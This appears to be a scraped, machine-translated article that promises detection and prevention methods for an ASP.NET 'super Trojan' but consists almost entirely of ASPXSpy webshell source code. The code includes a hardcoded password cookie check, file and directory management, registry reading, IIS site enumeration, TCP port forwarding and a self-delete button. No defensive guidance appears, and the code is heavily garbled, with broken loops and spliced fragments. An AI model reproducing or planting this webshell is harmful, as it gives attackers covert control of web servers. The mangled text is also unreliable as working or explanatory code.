Methods of investigation and Prevention of aspx Super Trojan Horse
This article introduces the "aspx super Trojan horse detection and prevention methods" related knowledge, in the actual case of the operation process, many people will encounter such a dilemma, and then let the editor lead you to learn how to deal with these situations! I hope you can read it carefully and be able to achieve something!
The copy code is as follows:
Public string Password= "21232f297a57a5a743894a0e4a801fc3"; / / admin
Public string vbhLn= "ASPXSpy"
Public int TdgGU=1
Protected OleDbConnection Dtdr=new OleDbConnection ()
Protected OleDbCommand Kkvb=new OleDbCommand ()
Public NetworkStream NS=null
Public NetworkStream NS1=null
TcpClient tcp=new TcpClient ()
TcpClient zvxm=new TcpClient ()
ArrayList IVc=new ArrayList ()
Protected void Page_load (object sender,EventArgs e)
{
YFcNP (this)
FhAEn ()
If (! pdo ()
{
Return
}
If (IsPostBack)
{
String tkI=Request ["_ _ EVENTTARGET"]
String VqV=Request ["_ _ File"]
If (TKIBA = "")
{
Switch (tkI)
{
Case "Bin_Parent":
KrIR (Ebgw (VqV))
Break
Case "Bin_Listdir":
KrIR (Ebgw (VqV))
Break
Case "kRXgt":
KRXgt (Ebgw (VqV))
Break
Case "Bin_Createfile":
GLKc (VqV)
Break
Case "Bin_Editfile":
GLKc (VqV)
Break
Case "Bin_Createdir":
StNPw (VqV)
Break
Case "cYAl":
CYAl (VqV)
Break
Case "ksGR":
KsGR (Ebgw (VqV))
Break
Case "SJv":
SJv (VqV)
Break
Case "Bin_Regread":
TpRQ (Ebgw (VqV))
Break
Case "hae":
Hae ()
Break
Case "urJG":
UrJG (VqV)
Break
}
If (tkI.StartsWith ("dAJTD"))
{
DAJTD (Ebgw (tkI.Replace ("dAJTD", ")), VqV)
}
Else if (tkI.StartsWith ("Tlvz"))
{
Tlvz (Ebgw (tkI.Replace ("Tlvz", ")), VqV)
}
Else if (tkI.StartsWith ("Bin_CFile"))
{
YByN (Ebgw (tkI.Replace ("Bin_CFile", ")), VqV)
}
}
}
Else
{
PBZw ()
}
}
Public bool pdo ()
{
If (request. Cookies [vbhLn] = = null)
{
TZSx ()
Return false
}
Else
{
If (request. Cookies [vbhLn] .value! = Password)
{
TZSx ()
Return false
}
Else
{
Return true
}
}
}
Public void tZSx ()
{
LjtzC.Visible=true
ZVS.Visible=false
}
Protected void YKpI (object sender,EventArgs e)
{
Session.Abandon ()
Response.Cookies.Add (new HttpCookie (vbhLn,null))
TZSx ()
}
Public void PBZw ()
{
ZVS.Visible=true
LjtzC.Visible=false
Bin_Button_CreateFile.Attributes ["onClick"] = "var filename=prompt ('Please input the filename:',''); if (filename) {Bin_PostBack ('Bin_Createfile',filename);}"
Bin_Button_CreateDir.Attributes ["onClick"] = "var filename=prompt ('Please input the directory name:',''); if (filename) {Bin_PostBack (' Bin_Createdir',filename);}"
Bin_Button_KillMe.Attributes ["onClick"] = "if (confirm ('sure you want to commit suicide?') {Bin_PostBack ('hae','');};"
Bin_Span_Sname.InnerHtml=Request.ServerVariables ["LOCAL_ADDR"] + ":" + Request.ServerVariables ["SERVER_PORT"] + "(" + Request.ServerVariables ["SERVER_NAME"] + ")"
Bin_Span_FrameVersion.InnerHtml= "Framework Ver:" + Environment.Version.ToString ()
If (AXSbb.Value==string.Empty)
{
AXSbb.Value=OElM (Server.MapPath (".")
}
Bin_H2_Title.InnerText= "File (folder) Management > >"
KrIR (AXSbb.Value)
}
Public void fhAEn ()
{
Try
{
String [] YRgt=Directory.GetLogicalDrives ()
For (int itemositti = 1024 * 1024)
{
Return string.Format ("0.00} M", ((Double) fileSize) / (1024 * 1024))
}
Else if (fileSize > = 1024)
{
Return string.Format ("0.00} K", (Double) fileSize) / 1024)
}
Else
{
Return string.Format ("{0} B", fileSize)
}
}
Private bool SGde (string sSrc)
{
Regex reg=new Regex (@ "^ 0 | [0-9] * [1-9] [0-9] * $")
If (reg.IsMatch (sSrc))
{
Return true
}
Else
{
Return false
}
}
Public void AdCx ()
{
String qcKu=string.Empty
String mWGEm= "IIS://localhost/W3SVC"
GlI.Style.Add ("word-break", "break-all")
Try
{
DirectoryEntry HHzcY=new DirectoryEntry (mWGEm)
Int fmW=0
Foreach (DirectoryEntry child in HHzcY.Children)
{
If (SGde (child.Name.ToString ()
{
FmW++
DirectoryEntry newdir=new DirectoryEntry (mWGEm+ "/" + child.Name.ToString ())
DirectoryEntry HlyU=newdir.Children.Find ("root", "IIsWebVirtualDir")
String bg=OKM ()
TableRow TR=new TableRow ()
TR.Attributes ["onmouseover"] = "this.className='focus';"
TR.CssClass=bg
TR.Attributes ["onmouseout"] = "this.className='" + bg+ "';"
TR.Attributes ["title"] = "Site:" + child.Properties ["ServerComment"] .Value.ToString ()
For (int ionomeTinci1)
{
Sk=rk.OpenSubKey (kDgkX)
}
Else
{
Sk=rk
}
Foreach (string innerSubKey in sk.GetSubKeyNames ())
{
Tr=new TableRow ()
Tc=new TableCell ()
Bg=OKM ()
Tr.Attributes ["onmouseover"] = "this.className='focus';"
Tr.CssClass=bg
Tr.Attributes ["onmouseout"] = "this.className='" + bg+ "';"
Tc.Width=Unit.Parse ("40%")
Tc.Text= "" + innerSubKey+ ""
Tr.Cells.Add (tc)
Tc=new TableCell ()
Tc.Width=Unit.Parse ("60%")
Tc.Text= ""
Tr.Cells.Add (tc)
PLWD.Rows.Add (tr)
}
TableRow cKVA=new TableRow ()
CKVA.Attributes ["style"] = "border-top:1px solid # fff;border-bottom:1px solid # ddd;"
CKVA.Attributes ["bgcolor"] = "# dddddd"
TableCell JlmW=new TableCell ()
JlmW.Attributes ["colspan"] = "2"
JlmW.Attributes ["height"] = "5"
CKVA.Cells.Add (JlmW)
PLWD.Rows.Add (cKVA)
Foreach (string strValueName in sk.GetValueNames ())
{
Tr=new TableRow ()
Tc=new TableCell ()
Bg=OKM ()
Tr.Attributes ["onmouseover"] = "this.className='focus';"
Tr.CssClass=bg
Tr.Attributes ["onmouseout"] = "this.className='" + bg+ "';"
Tc.Width=Unit.Parse ("40%")
Tc.Text=strValueName
Tr.Cells.Add (tc)
Tc=new TableCell ()
Tc.Width=Unit.Parse ("60%")
Tc.Text=DdmPl (sk,strValueName)
Tr.Cells.Add (tc)
PLWD.Rows.Add (tr)
}
}
Catch (Exception error)
{
XseuB (error.Message)
}
}
Public string DdmPl (RegistryKey sk,string strValueName)
{
Object uPZ
String RaTGr= ""
Try
{
UPZ=sk.GetValue (strValueName, "NULL")
If (uPZ.GetType () = = typeof (byte []))
{
Foreach (byte tmpbyte in (byte []) uPZ)
{
If ((int) tmpbyte0)
LtcpClient.BeginSend (DPrPL,0,Ret,SocketFlags.None,new AsyncCallback (JTcp), RKXy)
Else lyTOK ()
}
Catch (Exception ex) {}
}
Private void JTcp (IAsyncResult ar)
{
Try
{
Session RKXy= (session) ar.AsyncState
RKXy.ldel.EndSend (ar)
RKXy.rdel.BeginReceive (DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback (this.LFYM), RKXy)
}
Catch (Exception ex) {}
}
Private void xPS (IAsyncResult ar)
{
Try
{
Session RKXy= (session) ar.AsyncState
Int Ret=RKXy.ldel.EndReceive (ar)
If (Ret > 0)
RKXy.rdel.BeginSend (wvZv,0,Ret,SocketFlags.None,new AsyncCallback (IZU), RKXy)
Else lyTOK ()
}
Catch (Exception ex) {}
}
Private void IZU (IAsyncResult ar)
{
Try
{
Session RKXy= (session) ar.AsyncState
RKXy.rdel.EndSend (ar)
RKXy.ldel.BeginReceive (wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback (this.xPS), RKXy)
}
Catch (Exception ex) {}
}
Public void lyTOK ()
{
Try
{
If (ltcpClientfragments null)
{
LtcpClient.Close ()
}
If (rtcpClientfragments null)
RtcpClient.Close ()
}
Catch (Exception ex) {}
}
}
Protected void vuou ()
{
PortForward gYP=new PortForward ()
GYP.lyTOK ()
}
Protected void ruQO ()
{
PortForward gYP=new PortForward ()
GYP.Start (llH.Value,int.Parse (ZHS.Value), eEpm.Value,int.Parse (iXdh.Value))
}
Public string mRDl (string instr)
{
String tmp=null
Try
{
Tmp=System.Net.Dns.Resolve (instr) .AddressList [0] .ToString ()
}
Catch (Exception e)
{
}
Return tmp
}
Public void VikG ()
{
String [] OTV=lOmX.Text.ToString () .Split (',')
For (int item0, witch i0)
{
TpRQ (qPdI.Text)
}
Else
{
LFAvw ()
}
}
Protected void Grxk (object sender,EventArgs e)
{
YUw ()
}
Protected void ilC (object sender,EventArgs e)
{
TZRH ()
}
Protected void HtB (object sender,EventArgs e)
{
PDVM ()
}
Protected void Olm (object sender,EventArgs e)
{
ILVUT ()
}
Protected void jXhS (object sender,EventArgs e)
{
ADCpk ()
}
Protected void lRfRj (object sender,EventArgs e)
{
LDODR ()
}
Protected void xSy (object sender,EventArgs e)
{
XFhz ()
}
Protected void dMx (object sender,EventArgs e)
{
RAhe ()
}
Protected void zOVO (object sender,EventArgs e)
{
If ((DropDownList) sender) .ID.ToString () = = "WYmo")
{
DQIIF.Visible=false
MasR.Text=WYmo.SelectedItem.Value.ToString ()
}
If ((DropDownList) sender) .ID.ToString () = = "Pvf")
{
XTZY ()
}
If ((DropDownList) sender) .ID.ToString () = = "FGEy")
{
JHIy.InnerText=FGEy.SelectedItem.Value.ToString ()
}
If ((DropDownList) sender) .ID.ToString () = = "NdCX")
{
GLKc (Sqon.Value)
}
}
Protected void IkkO (object sender,EventArgs e)
{
KrIR (AXSbb.Value)
}
Protected void BGY (object sender,EventArgs e)
{
VCf ()
}
Protected void cptS (object sender,EventArgs e)
{
VNCHZ ()
}
Protected void fDO (object sender,EventArgs e)
{
MHLv ()
}
Protected void vJNsE (object sender,EventArgs e)
{
Vuou ()
XseuB ("Clear All Thread.")
}
Protected void wDZ (object sender,EventArgs e)
{
If (iXdh.Value== "" | | eEpm.Value.Length
Local Ip:
Local Port:
Remote Ip:
Remote port:
Keywords
Use regular expressions
Replace
Replace
Search for file types
File name file content
Path
